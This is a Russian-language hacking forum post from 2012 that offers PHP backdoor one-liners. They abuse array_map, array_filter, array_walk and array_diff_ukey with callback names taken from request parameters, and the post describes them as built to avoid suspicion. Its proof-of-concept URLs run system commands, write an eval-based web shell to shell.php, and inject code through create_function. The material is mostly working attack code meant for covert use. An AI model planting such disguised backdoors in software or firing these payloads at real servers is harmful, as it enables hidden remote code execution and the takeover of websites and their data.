
18.01.2012, 11:42
|
|
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами:
8255126
Репутация:
78
|
|
«callback похождения»
Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.
Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.
array_map, array_filter, array_walk
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]Или
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_filter[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]Или
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_walk[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]Кому как[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]что лучше смотрится[/COLOR][COLOR="#007700"].
[/COLOR][/COLOR]
PoC:
Код:
http://localhost/test.php?login=system&password[]=type+test.php
array_diff_ukey
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_diff_ukey[/COLOR][COLOR="#007700"](@array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]), @array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'re_password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][/COLOR]
от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.
PoC:
Код:
http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E
В файле shell.php будет «евальник».
Или же PoC[2], опять же "баг" с create_function:
Код:
http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//
Результатом будет являться выполнение phpinfo();
|
|
|